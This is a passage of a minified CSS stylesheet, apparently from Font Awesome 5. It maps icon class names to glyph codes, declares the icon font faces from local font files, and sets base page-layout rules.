nt:"\f3bf"}.fa-life-ring:before{content:"\f1cd"}.fa-lightbulb:before{content:"\f0eb"}.fa-line:before{content:"\f3c0"}.fa-link:before{content:"\f0c1"}.fa-linkedin:before{content:"\f08c"}.fa-linkedin-in:before{content:"\f0e1"}.fa-linode:before{content:"\f2b8"}.fa-linux:before{content:"\f17c"}.fa-lira-sign:before{content:"\f195"}.fa-list:before{content:"\f03a"}.fa-list-alt:before{content:"\f022"}.fa-list-ol:before{content:"\f0cb"}.fa-list-ul:before{content:"\f0ca"}.fa-location-arrow:before{content:"\f124"}.fa-lock:before{content:"\f023"}.fa-lock-open:before{content:"\f3c1"}.fa-long-arrow-alt-down:before{content:"\f309"}.fa-long-arrow-alt-left:before{content:"\f30a"}.fa-long-arrow-alt-right:before{content:"\f30b"}.fa-long-arrow-alt-up:before{content:"\f30c"}.fa-low-vision:before{content:"\f2a8"}.fa-luggage-cart:before{content:"\f59d"}.fa-lungs:before{content:"\f604"}.fa-lungs-virus:before{content:"\e067"}.fa-lyft:before{content:"\f3c3"}.fa-magento:before{content:"\f3c4"}.fa-magic:before{content:"\f0d0"}.fa-magnet:before{content:"\f076"}.fa-mail-bulk:before{content:"\f674"}.fa-mailchimp:before{content:"\f59e"}.fa-male:before{content:"\f183"}.fa-mandalorian:before{content:"\f50f"}.fa-map:before{content:"\f279"}.fa-map-marked:before{content:"\f59f"}.fa-map-marked-alt:before{content:"\f5a0"}.fa-map-marker:before{content:"\f041"}.fa-map-marker-alt:before{content:"\f3c5"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-markdown:before{content:"\f60f"}.fa-marker:before{content:"\f5a1"}.fa-mars:before{content:"\f222"}.fa-mars-double:before{content:"\f227"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mask:before{content:"\f6fa"}.fa-mastodon:before{content:"\f4f6"}.fa-maxcdn:before{content:"\f136"}.fa-mdb:before{content:"\f8ca"}.fa-medal:before{content:"\f5a2"}.fa-medapps:before{content:"\f3c6"}.fa-medium:before{content:"\f23a"}.fa-medium-m:before{content:"\f3c7"}.fa-medkit:before{content:"\f0fa"}.fa-medrt:before{content:"\f3c8"}.fa-meetup:before{content:"\f2e0"}.fa-megaport:before{content:"\f5a3"}.fa-meh:before{content:"\f11a"}.fa-meh-blank:before{content:"\f5a4"}.fa-meh-rolling-eyes:before{content:"\f5a5"}.fa-memory:before{content:"\f538"}.fa-mendeley:before{content:"\f7b3"}.fa-menorah:before{content:"\f676"}.fa-mercury:before{content:"\f223"}.fa-meteor:before{content:"\f753"}.fa-microblog:before{content:"\e01a"}.fa-microchip:before{content:"\f2db"}.fa-microphone:before{content:"\f130"}.fa-microphone-alt:before{content:"\f3c9"}.fa-microphone-alt-slash:before{content:"\f539"}.fa-microphone-slash:before{content:"\f131"}.fa-microscope:before{content:"\f610"}.fa-microsoft:before{content:"\f3ca"}.fa-minus:before{content:"\f068"}.fa-minus-circle:before{content:"\f056"}.fa-minus-square:before{content:"\f146"}.fa-mitten:before{content:"\f7b5"}.fa-mix:before{content:"\f3cb"}.fa-mixcloud:before{content:"\f289"}.fa-mixer:before{content:"\e056"}.fa-mizuni:before{content:"\f3cc"}.fa-mobile:before{content:"\f10b"}.fa-mobile-alt:before{content:"\f3cd"}.fa-modx:before{content:"\f285"}.fa-monero:before{content:"\f3d0"}.fa-money-bill:before{content:"\f0d6"}.fa-money-bill-alt:before{content:"\f3d1"}.fa-money-bill-wave:before{content:"\f53a"}.fa-money-bill-wave-alt:before{content:"\f53b"}.fa-money-check:before{content:"\f53c"}.fa-money-check-alt:before{content:"\f53d"}.fa-monument:before{content:"\f5a6"}.fa-moon:before{content:"\f186"}.fa-mortar-pestle:before{content:"\f5a7"}.fa-mosque:before{content:"\f678"}.fa-motorcycle:before{content:"\f21c"}.fa-mountain:before{content:"\f6fc"}.fa-mouse:before{content:"\f8cc"}.fa-mouse-pointer:before{content:"\f245"}.fa-mug-hot:before{content:"\f7b6"}.fa-music:before{content:"\f001"}.fa-napster:before{content:"\f3d2"}.fa-neos:before{content:"\f612"}.fa-network-wired:before{content:"\f6ff"}.fa-neuter:before{content:"\f22c"}.fa-newspaper:before{content:"\f1ea"}.fa-nimblr:before{content:"\f5a8"}.fa-node:before{content:"\f419"}.fa-node-js:before{content:"\f3d3"}.fa-not-equal:before{content:"\f53e"}.fa-notes-medical:before{content:"\f481"}.fa-npm:before{content:"\f3d4"}.fa-ns8:before{content:"\f3d5"}.fa-nutritionix:before{content:"\f3d6"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-octopus-deploy:before{content:"\e082"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-oil-can:before{content:"\f613"}.fa-old-republic:before{content:"\f510"}.fa-om:before{content:"\f679"}.fa-opencart:before{content:"\f23d"}.fa-openid:before{content:"\f19b"}.fa-opera:before{content:"\f26a"}.fa-optin-monster:before{content:"\f23c"}.fa-orcid:before{content:"\f8d2"}.fa-osi:before{content:"\f41a"}.fa-otter:before{content:"\f700"}.fa-outdent:before{content:"\f03b"}.fa-page4:before{content:"\f3d7"}.fa-pagelines:before{content:"\f18c"}.fa-pager:before{content:"\f815"}.fa-paint-brush:before{content:"\f1fc"}.fa-paint-roller:before{content:"\f5aa"}.fa-palette:before{content:"\f53f"}.fa-palfed:before{content:"\f3d8"}.fa-pallet:before{content:"\f482"}.fa-paper-plane:before{content:"\f1d8"}.fa-paperclip:before{content:"\f0c6"}.fa-parachute-box:before{content:"\f4cd"}.fa-paragraph:before{content:"\f1dd"}.fa-parking:before{content:"\f540"}.fa-passport:before{content:"\f5ab"}.fa-pastafarianism:before{content:"\f67b"}.fa-paste:before{content:"\f0ea"}.fa-patreon:before{content:"\f3d9"}.fa-pause:before{content:"\f04c"}.fa-pause-circle:before{content:"\f28b"}.fa-paw:before{content:"\f1b0"}.fa-paypal:before{content:"\f1ed"}.fa-peace:before{content:"\f67c"}.fa-pen:before{content:"\f304"}.fa-pen-alt:before{content:"\f305"}.fa-pen-fancy:before{content:"\f5ac"}.fa-pen-nib:before{content:"\f5ad"}.fa-pen-square:before{content:"\f14b"}.fa-pencil-alt:before{content:"\f303"}.fa-pencil-ruler:before{content:"\f5ae"}.fa-penny-arcade:before{content:"\f704"}.fa-people-arrows:before{content:"\e068"}.fa-people-carry:before{content:"\f4ce"}.fa-pepper-hot:before{content:"\f816"}.fa-perbyte:before{content:"\e083"}.fa-percent:before{content:"\f295"}.fa-percentage:before{content:"\f541"}.fa-periscope:before{content:"\f3da"}.fa-person-booth:before{content:"\f756"}.fa-phabricator:before{content:"\f3db"}.fa-phoenix-framework:before{content:"\f3dc"}.fa-phoenix-squadron:before{content:"\f511"}.fa-phone:before{content:"\f095"}.fa-phone-alt:before{content:"\f879"}.fa-phone-slash:before{content:"\f3dd"}.fa-phone-square:before{content:"\f098"}.fa-phone-square-alt:before{content:"\f87b"}.fa-phone-volume:before{content:"\f2a0"}.fa-photo-video:before{content:"\f87c"}.fa-php:before{content:"\f457"}.fa-pied-piper:before{content:"\f2ae"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-pied-piper-hat:before{content:"\f4e5"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-square:before{content:"\e01e"}.fa-piggy-bank:before{content:"\f4d3"}.fa-pills:before{content:"\f484"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-p:before{content:"\f231"}.fa-pinterest-square:before{content:"\f0d3"}.fa-pizza-slice:before{content:"\f818"}.fa-place-of-worship:before{content:"\f67f"}.fa-plane:before{content:"\f072"}.fa-plane-arrival:before{content:"\f5af"}.fa-plane-departure:before{content:"\f5b0"}.fa-plane-slash:before{content:"\e069"}.fa-play:before{content:"\f04b"}.fa-play-circle:before{content:"\f144"}.fa-playstation:before{content:"\f3df"}.fa-plug:before{content:"\f1e6"}.fa-plus:before{content:"\f067"}.fa-plus-circle:before{content:"\f055"}.fa-plus-square:before{content:"\f0fe"}.fa-podcast:before{content:"\f2ce"}.fa-poll:before{content:"\f681"}.fa-poll-h:before{content:"\f682"}.fa-poo:before{content:"\f2fe"}.fa-poo-storm:before{content:"\f75a"}.fa-poop:before{content:"\f619"}.fa-portrait:before{content:"\f3e0"}.fa-pound-sign:before{content:"\f154"}.fa-power-off:before{content:"\f011"}.fa-pray:before{content:"\f683"}.fa-praying-hands:before{content:"\f684"}.fa-prescription:before{content:"\f5b1"}.fa-prescription-bottle:before{content:"\f485"}.fa-prescription-bottle-alt:before{content:"\f486"}.fa-print:before{content:"\f02f"}.fa-procedures:before{content:"\f487"}.fa-product-hunt:before{content:"\f288"}.fa-project-diagram:before{content:"\f542"}.fa-pump-medical:before{content:"\e06a"}.fa-pump-soap:before{content:"\e06b"}.fa-pushed:before{content:"\f3e1"}.fa-puzzle-piece:before{content:"\f12e"}.fa-python:before{content:"\f3e2"}.fa-qq:before{content:"\f1d6"}.fa-qrcode:before{content:"\f029"}.fa-question:before{content:"\f128"}.fa-question-circle:before{content:"\f059"}.fa-quidditch:before{content:"\f458"}.fa-quinscape:before{content:"\f459"}.fa-quora:before{content:"\f2c4"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-quran:before{content:"\f687"}.fa-r-project:before{content:"\f4f7"}.fa-radiation:before{content:"\f7b9"}.fa-radiation-alt:before{content:"\f7ba"}.fa-rainbow:before{content:"\f75b"}.fa-random:before{content:"\f074"}.fa-raspberry-pi:before{content:"\f7bb"}.fa-ravelry:before{content:"\f2d9"}.fa-react:before{content:"\f41b"}.fa-reacteurope:before{content:"\f75d"}.fa-readme:before{content:"\f4d5"}.fa-rebel:before{content:"\f1d0"}.fa-receipt:before{content:"\f543"}.fa-record-vinyl:before{content:"\f8d9"}.fa-recycle:before{content:"\f1b8"}.fa-red-river:before{content:"\f3e3"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-alien:before{content:"\f281"}.fa-reddit-square:before{content:"\f1a2"}.fa-redhat:before{content:"\f7bc"}.fa-redo:before{content:"\f01e"}.fa-redo-alt:before{content:"\f2f9"}.fa-registered:before{content:"\f25d"}.fa-remove-format:before{content:"\f87d"}.fa-renren:before{content:"\f18b"}.fa-reply:before{content:"\f3e5"}.fa-reply-all:before{content:"\f122"}.fa-replyd:before{content:"\f3e6"}.fa-republican:before{content:"\f75e"}.fa-researchgate:before{content:"\f4f8"}.fa-resolving:before{content:"\f3e7"}.fa-restroom:before{content:"\f7bd"}.fa-retweet:before{content:"\f079"}.fa-rev:before{content:"\f5b2"}.fa-ribbon:before{content:"\f4d6"}.fa-ring:before{content:"\f70b"}.fa-road:before{content:"\f018"}.fa-robot:before{content:"\f544"}.fa-rocket:before{content:"\f135"}.fa-rocketchat:before{content:"\f3e8"}.fa-rockrms:before{content:"\f3e9"}.fa-route:before{content:"\f4d7"}.fa-rss:before{content:"\f09e"}.fa-rss-square:before{content:"\f143"}.fa-ruble-sign:before{content:"\f158"}.fa-ruler:before{content:"\f545"}.fa-ruler-combined:before{content:"\f546"}.fa-ruler-horizontal:before{content:"\f547"}.fa-ruler-vertical:before{content:"\f548"}.fa-running:before{content:"\f70c"}.fa-rupee-sign:before{content:"\f156"}.fa-rust:before{content:"\e07a"}.fa-sad-cry:before{content:"\f5b3"}.fa-sad-tear:before{content:"\f5b4"}.fa-safari:before{content:"\f267"}.fa-salesforce:before{content:"\f83b"}.fa-sass:before{content:"\f41e"}.fa-satellite:before{content:"\f7bf"}.fa-satellite-dish:before{content:"\f7c0"}.fa-save:before{content:"\f0c7"}.fa-schlix:before{content:"\f3ea"}.fa-school:before{content:"\f549"}.fa-screwdriver:before{content:"\f54a"}.fa-scribd:before{content:"\f28a"}.fa-scroll:before{content:"\f70e"}.fa-sd-card:before{content:"\f7c2"}.fa-search:before{content:"\f002"}.fa-search-dollar:before{content:"\f688"}.fa-search-location:before{content:"\f689"}.fa-search-minus:before{content:"\f010"}.fa-search-plus:before{content:"\f00e"}.fa-searchengin:before{content:"\f3eb"}.fa-seedling:before{content:"\f4d8"}.fa-sellcast:before{content:"\f2da"}.fa-sellsy:before{content:"\f213"}.fa-server:before{content:"\f233"}.fa-servicestack:before{content:"\f3ec"}.fa-shapes:before{content:"\f61f"}.fa-share:before{content:"\f064"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-share-square:before{content:"\f14d"}.fa-shekel-sign:before{content:"\f20b"}.fa-shield-alt:before{content:"\f3ed"}.fa-shield-virus:before{content:"\e06c"}.fa-ship:before{content:"\f21a"}.fa-shipping-fast:before{content:"\f48b"}.fa-shirtsinbulk:before{content:"\f214"}.fa-shoe-prints:before{content:"\f54b"}.fa-shopify:before{content:"\e057"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-shopping-cart:before{content:"\f07a"}.fa-shopware:before{content:"\f5b5"}.fa-shower:before{content:"\f2cc"}.fa-shuttle-van:before{content:"\f5b6"}.fa-sign:before{content:"\f4d9"}.fa-sign-in-alt:before{content:"\f2f6"}.fa-sign-language:before{content:"\f2a7"}.fa-sign-out-alt:before{content:"\f2f5"}.fa-signal:before{content:"\f012"}.fa-signature:before{content:"\f5b7"}.fa-sim-card:before{content:"\f7c4"}.fa-simplybuilt:before{content:"\f215"}.fa-sink:before{content:"\e06d"}.fa-sistrix:before{content:"\f3ee"}.fa-sitemap:before{content:"\f0e8"}.fa-sith:before{content:"\f512"}.fa-skating:before{content:"\f7c5"}.fa-sketch:before{content:"\f7c6"}.fa-skiing:before{content:"\f7c9"}.fa-skiing-nordic:before{content:"\f7ca"}.fa-skull:before{content:"\f54c"}.fa-skull-crossbones:before{content:"\f714"}.fa-skyatlas:before{content:"\f216"}.fa-skype:before{content:"\f17e"}.fa-slack:before{content:"\f198"}.fa-slack-hash:before{content:"\f3ef"}.fa-slash:before{content:"\f715"}.fa-sleigh:before{content:"\f7cc"}.fa-sliders-h:before{content:"\f1de"}.fa-slideshare:before{content:"\f1e7"}.fa-smile:before{content:"\f118"}.fa-smile-beam:before{content:"\f5b8"}.fa-smile-wink:before{content:"\f4da"}.fa-smog:before{content:"\f75f"}.fa-smoking:before{content:"\f48d"}.fa-smoking-ban:before{content:"\f54d"}.fa-sms:before{content:"\f7cd"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-snowboarding:before{content:"\f7ce"}.fa-snowflake:before{content:"\f2dc"}.fa-snowman:before{content:"\f7d0"}.fa-snowplow:before{content:"\f7d2"}.fa-soap:before{content:"\e06e"}.fa-socks:before{content:"\f696"}.fa-solar-panel:before{content:"\f5ba"}.fa-sort:before{content:"\f0dc"}.fa-sort-alpha-down:before{content:"\f15d"}.fa-sort-alpha-down-alt:before{content:"\f881"}.fa-sort-alpha-up:before{content:"\f15e"}.fa-sort-alpha-up-alt:before{content:"\f882"}.fa-sort-amount-down:before{content:"\f160"}.fa-sort-amount-down-alt:before{content:"\f884"}.fa-sort-amount-up:before{content:"\f161"}.fa-sort-amount-up-alt:before{content:"\f885"}.fa-sort-down:before{content:"\f0dd"}.fa-sort-numeric-down:before{content:"\f162"}.fa-sort-numeric-down-alt:before{content:"\f886"}.fa-sort-numeric-up:before{content:"\f163"}.fa-sort-numeric-up-alt:before{content:"\f887"}.fa-sort-up:before{content:"\f0de"}.fa-soundcloud:before{content:"\f1be"}.fa-sourcetree:before{content:"\f7d3"}.fa-spa:before{content:"\f5bb"}.fa-space-shuttle:before{content:"\f197"}.fa-speakap:before{content:"\f3f3"}.fa-speaker-deck:before{content:"\f83c"}.fa-spell-check:before{content:"\f891"}.fa-spider:before{content:"\f717"}.fa-spinner:before{content:"\f110"}.fa-splotch:before{content:"\f5bc"}.fa-spotify:before{content:"\f1bc"}.fa-spray-can:before{content:"\f5bd"}.fa-square:before{content:"\f0c8"}.fa-square-full:before{content:"\f45c"}.fa-square-root-alt:before{content:"\f698"}.fa-squarespace:before{content:"\f5be"}.fa-stack-exchange:before{content:"\f18d"}.fa-stack-overflow:before{content:"\f16c"}.fa-stackpath:before{content:"\f842"}.fa-stamp:before{content:"\f5bf"}.fa-star:before{content:"\f005"}.fa-star-and-crescent:before{content:"\f699"}.fa-star-half:before{content:"\f089"}.fa-star-half-alt:before{content:"\f5c0"}.fa-star-of-david:before{content:"\f69a"}.fa-star-of-life:before{content:"\f621"}.fa-staylinked:before{content:"\f3f5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-steam-symbol:before{content:"\f3f6"}.fa-step-backward:before{content:"\f048"}.fa-step-forward:before{content:"\f051"}.fa-stethoscope:before{content:"\f0f1"}.fa-sticker-mule:before{content:"\f3f7"}.fa-sticky-note:before{content:"\f249"}.fa-stop:before{content:"\f04d"}.fa-stop-circle:before{content:"\f28d"}.fa-stopwatch:before{content:"\f2f2"}.fa-stopwatch-20:before{content:"\e06f"}.fa-store:before{content:"\f54e"}.fa-store-alt:before{content:"\f54f"}.fa-store-alt-slash:before{content:"\e070"}.fa-store-slash:before{content:"\e071"}.fa-strava:before{content:"\f428"}.fa-stream:before{content:"\f550"}.fa-street-view:before{content:"\f21d"}.fa-strikethrough:before{content:"\f0cc"}.fa-stripe:before{content:"\f429"}.fa-stripe-s:before{content:"\f42a"}.fa-stroopwafel:before{content:"\f551"}.fa-studiovinari:before{content:"\f3f8"}.fa-stumbleupon:before{content:"\f1a4"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-subscript:before{content:"\f12c"}.fa-subway:before{content:"\f239"}.fa-suitcase:before{content:"\f0f2"}.fa-suitcase-rolling:before{content:"\f5c1"}.fa-sun:before{content:"\f185"}.fa-superpowers:before{content:"\f2dd"}.fa-superscript:before{content:"\f12b"}.fa-supple:before{content:"\f3f9"}.fa-surprise:before{content:"\f5c2"}.fa-suse:before{content:"\f7d6"}.fa-swatchbook:before{content:"\f5c3"}.fa-swift:before{content:"\f8e1"}.fa-swimmer:before{content:"\f5c4"}.fa-swimming-pool:before{content:"\f5c5"}.fa-symfony:before{content:"\f83d"}.fa-synagogue:before{content:"\f69b"}.fa-sync:before{content:"\f021"}.fa-sync-alt:before{content:"\f2f1"}.fa-syringe:before{content:"\f48e"}.fa-table:before{content:"\f0ce"}.fa-table-tennis:before{content:"\f45d"}.fa-tablet:before{content:"\f10a"}.fa-tablet-alt:before{content:"\f3fa"}.fa-tablets:before{content:"\f490"}.fa-tachometer-alt:before{content:"\f3fd"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-tape:before{content:"\f4db"}.fa-tasks:before{content:"\f0ae"}.fa-taxi:before{content:"\f1ba"}.fa-teamspeak:before{content:"\f4f9"}.fa-teeth:before{content:"\f62e"}.fa-teeth-open:before{content:"\f62f"}.fa-telegram:before{content:"\f2c6"}.fa-telegram-plane:before{content:"\f3fe"}.fa-temperature-high:before{content:"\f769"}.fa-temperature-low:before{content:"\f76b"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-tenge:before{content:"\f7d7"}.fa-terminal:before{content:"\f120"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-th:before{content:"\f00a"}.fa-th-large:before{content:"\f009"}.fa-th-list:before{content:"\f00b"}.fa-the-red-yeti:before{content:"\f69d"}.fa-theater-masks:before{content:"\f630"}.fa-themeco:before{content:"\f5c6"}.fa-themeisle:before{content:"\f2b2"}.fa-thermometer:before{content:"\f491"}.fa-thermometer-empty:before{content:"\f2cb"}.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-think-peaks:before{content:"\f731"}.fa-thumbs-down:before{content:"\f165"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbtack:before{content:"\f08d"}.fa-ticket-alt:before{content:"\f3ff"}.fa-tiktok:before{content:"\e07b"}.fa-times:before{content:"\f00d"}.fa-times-circle:before{content:"\f057"}.fa-tint:before{content:"\f043"}.fa-tint-slash:before{content:"\f5c7"}.fa-tired:before{content:"\f5c8"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-toilet:before{content:"\f7d8"}.fa-toilet-paper:before{content:"\f71e"}.fa-toilet-paper-slash:before{content:"\e072"}.fa-toolbox:before{content:"\f552"}.fa-tools:before{content:"\f7d9"}.fa-tooth:before{content:"\f5c9"}.fa-torah:before{content:"\f6a0"}.fa-torii-gate:before{content:"\f6a1"}.fa-tractor:before{content:"\f722"}.fa-trade-federation:before{content:"\f513"}.fa-trademark:before{content:"\f25c"}.fa-traffic-light:before{content:"\f637"}.fa-trailer:before{content:"\e041"}.fa-train:before{content:"\f238"}.fa-tram:before{content:"\f7da"}.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-trash:before{content:"\f1f8"}.fa-trash-alt:before{content:"\f2ed"}.fa-trash-restore:before{content:"\f829"}.fa-trash-restore-alt:before{content:"\f82a"}.fa-tree:before{content:"\f1bb"}.fa-trello:before{content:"\f181"}.fa-tripadvisor:before{content:"\f262"}.fa-trophy:before{content:"\f091"}.fa-truck:before{content:"\f0d1"}.fa-truck-loading:before{content:"\f4de"}.fa-truck-monster:before{content:"\f63b"}.fa-truck-moving:before{content:"\f4df"}.fa-truck-pickup:before{content:"\f63c"}.fa-tshirt:before{content:"\f553"}.fa-tty:before{content:"\f1e4"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-tv:before{content:"\f26c"}.fa-twitch:before{content:"\f1e8"}.fa-twitter:before{content:"\f099"}.fa-twitter-square:before{content:"\f081"}.fa-typo3:before{content:"\f42b"}.fa-uber:before{content:"\f402"}.fa-ubuntu:before{content:"\f7df"}.fa-uikit:before{content:"\f403"}.fa-umbraco:before{content:"\f8e8"}.fa-umbrella:before{content:"\f0e9"}.fa-umbrella-beach:before{content:"\f5ca"}.fa-uncharted:before{content:"\e084"}.fa-underline:before{content:"\f0cd"}.fa-undo:before{content:"\f0e2"}.fa-undo-alt:before{content:"\f2ea"}.fa-uniregistry:before{content:"\f404"}.fa-unity:before{content:"\e049"}.fa-universal-access:before{content:"\f29a"}.fa-university:before{content:"\f19c"}.fa-unlink:before{content:"\f127"}.fa-unlock:before{content:"\f09c"}.fa-unlock-alt:before{content:"\f13e"}.fa-unsplash:before{content:"\e07c"}.fa-untappd:before{content:"\f405"}.fa-upload:before{content:"\f093"}.fa-ups:before{content:"\f7e0"}.fa-usb:before{content:"\f287"}.fa-user:before{content:"\f007"}.fa-user-alt:before{content:"\f406"}.fa-user-alt-slash:before{content:"\f4fa"}.fa-user-astronaut:before{content:"\f4fb"}.fa-user-check:before{content:"\f4fc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-clock:before{content:"\f4fd"}.fa-user-cog:before{content:"\f4fe"}.fa-user-edit:before{content:"\f4ff"}.fa-user-friends:before{content:"\f500"}.fa-user-graduate:before{content:"\f501"}.fa-user-injured:before{content:"\f728"}.fa-user-lock:before{content:"\f502"}.fa-user-md:before{content:"\f0f0"}.fa-user-minus:before{content:"\f503"}.fa-user-ninja:before{content:"\f504"}.fa-user-nurse:before{content:"\f82f"}.fa-user-plus:before{content:"\f234"}.fa-user-secret:before{content:"\f21b"}.fa-user-shield:before{content:"\f505"}.fa-user-slash:before{content:"\f506"}.fa-user-tag:before{content:"\f507"}.fa-user-tie:before{content:"\f508"}.fa-user-times:before{content:"\f235"}.fa-users:before{content:"\f0c0"}.fa-users-cog:before{content:"\f509"}.fa-users-slash:before{content:"\e073"}.fa-usps:before{content:"\f7e1"}.fa-ussunnah:before{content:"\f407"}.fa-utensil-spoon:before{content:"\f2e5"}.fa-utensils:before{content:"\f2e7"}.fa-vaadin:before{content:"\f408"}.fa-vector-square:before{content:"\f5cb"}.fa-venus:before{content:"\f221"}.fa-venus-double:before{content:"\f226"}.fa-venus-mars:before{content:"\f228"}.fa-vest:before{content:"\e085"}.fa-vest-patches:before{content:"\e086"}.fa-viacoin:before{content:"\f237"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-vial:before{content:"\f492"}.fa-vials:before{content:"\f493"}.fa-viber:before{content:"\f409"}.fa-video:before{content:"\f03d"}.fa-video-slash:before{content:"\f4e2"}.fa-vihara:before{content:"\f6a7"}.fa-vimeo:before{content:"\f40a"}.fa-vimeo-square:before{content:"\f194"}.fa-vimeo-v:before{content:"\f27d"}.fa-vine:before{content:"\f1ca"}.fa-virus:before{content:"\e074"}.fa-virus-slash:before{content:"\e075"}.fa-viruses:before{content:"\e076"}.fa-vk:before{content:"\f189"}.fa-vnv:before{content:"\f40b"}.fa-voicemail:before{content:"\f897"}.fa-volleyball-ball:before{content:"\f45f"}.fa-volume-down:before{content:"\f027"}.fa-volume-mute:before{content:"\f6a9"}.fa-volume-off:before{content:"\f026"}.fa-volume-up:before{content:"\f028"}.fa-vote-yea:before{content:"\f772"}.fa-vr-cardboard:before{content:"\f729"}.fa-vuejs:before{content:"\f41f"}.fa-walking:before{content:"\f554"}.fa-wallet:before{content:"\f555"}.fa-warehouse:before{content:"\f494"}.fa-watchman-monitoring:before{content:"\e087"}.fa-water:before{content:"\f773"}.fa-wave-square:before{content:"\f83e"}.fa-waze:before{content:"\f83f"}.fa-weebly:before{content:"\f5cc"}.fa-weibo:before{content:"\f18a"}.fa-weight:before{content:"\f496"}.fa-weight-hanging:before{content:"\f5cd"}.fa-weixin:before{content:"\f1d7"}.fa-whatsapp:before{content:"\f232"}.fa-whatsapp-square:before{content:"\f40c"}.fa-wheelchair:before{content:"\f193"}.fa-whmcs:before{content:"\f40d"}.fa-wifi:before{content:"\f1eb"}.fa-wikipedia-w:before{content:"\f266"}.fa-wind:before{content:"\f72e"}.fa-window-close:before{content:"\f410"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-windows:before{content:"\f17a"}.fa-wine-bottle:before{content:"\f72f"}.fa-wine-glass:before{content:"\f4e3"}.fa-wine-glass-alt:before{content:"\f5ce"}.fa-wix:before{content:"\f5cf"}.fa-wizards-of-the-coast:before{content:"\f730"}.fa-wodu:before{content:"\e088"}.fa-wolf-pack-battalion:before{content:"\f514"}.fa-won-sign:before{content:"\f159"}.fa-wordpress:before{content:"\f19a"}.fa-wordpress-simple:before{content:"\f411"}.fa-wpbeginner:before{content:"\f297"}.fa-wpexplorer:before{content:"\f2de"}.fa-wpforms:before{content:"\f298"}.fa-wpressr:before{content:"\f3e4"}.fa-wrench:before{content:"\f0ad"}.fa-x-ray:before{content:"\f497"}.fa-xbox:before{content:"\f412"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-y-combinator:before{content:"\f23b"}.fa-yahoo:before{content:"\f19e"}.fa-yammer:before{content:"\f840"}.fa-yandex:before{content:"\f413"}.fa-yandex-international:before{content:"\f414"}.fa-yarn:before{content:"\f7e3"}.fa-yelp:before{content:"\f1e9"}.fa-yen-sign:before{content:"\f157"}.fa-yin-yang:before{content:"\f6ad"}.fa-yoast:before{content:"\f2b1"}.fa-youtube:before{content:"\f167"}.fa-youtube-square:before{content:"\f431"}.fa-zhihu:before{content:"\f63f"}.sr-only{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sr-only-focusable:active,.sr-only-focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}@font-face{font-family:Font Awesome\ 5 Free;font-style:normal;font-weight:400;font-display:block;src:url(fonts/fa-regular-400.4079ae2d.eot);src:url(fonts/fa-regular-400.4079ae2d.eot?#iefix) format("embedded-opentype"),url(fonts/fa-regular-400.68c5af1f.woff2) format("woff2"),url(fonts/fa-regular-400.36722648.woff) format("woff"),url(fonts/fa-regular-400.1017bce8.ttf) format("truetype"),url(images/fa-regular-400.19e27d34.svg#fontawesome) format("svg")}.far{font-weight:400}@font-face{font-family:Font Awesome\ 5 Free;font-style:normal;font-weight:900;font-display:block;src:url(fonts/fa-solid-900.efbd5d20.eot);src:url(fonts/fa-solid-900.efbd5d20.eot?#iefix) format("embedded-opentype"),url(fonts/fa-solid-900.ada6e6df.woff2) format("woff2"),url(fonts/fa-solid-900.c6ec0800.woff) format("woff"),url(fonts/fa-solid-900.07c3313b.ttf) format("truetype"),url(images/fa-solid-900.13de59f1.svg#fontawesome) format("svg")}.fa,.far,.fas{font-family:Font Awesome\ 5 Free}.fa,.fas{font-weight:900}@font-face{font-family:Font Awesome\ 5 Brands;font-style:normal;font-weight:400;font-display:block;src:url(fonts/fa-brands-400.89a52ae1.eot);src:url(fonts/fa-brands-400.89a52ae1.eot?#iefix) format("embedded-opentype"),url(fonts/fa-brands-400.c1210e5e.woff2) format("woff2"),url(fonts/fa-brands-400.329a95a9.woff) format("woff"),url(fonts/fa-brands-400.9e138496.ttf) format("truetype"),url(images/fa-brands-400.216edb96.svg#fontawesome) format("svg")}.fab{font-family:Font Awesome\ 5 Brands;font-weight:400}.layout-boxed body,.layout-boxed html,body,html{height:100%}body{font-family:Source Sans Pro,Helvetica Neue,Helvetica,Arial,sans-serif;font-weight:400}.wrapper,body{overflow-x:hidden;overflow-y:auto}.wrapper{height:100%;position:relative}.wrapper:after,.wrapper:before{content:" ";display:table}.wrapper:after{clear:both}.layout-boxed .wrapper{max-width:1250px;margin:0 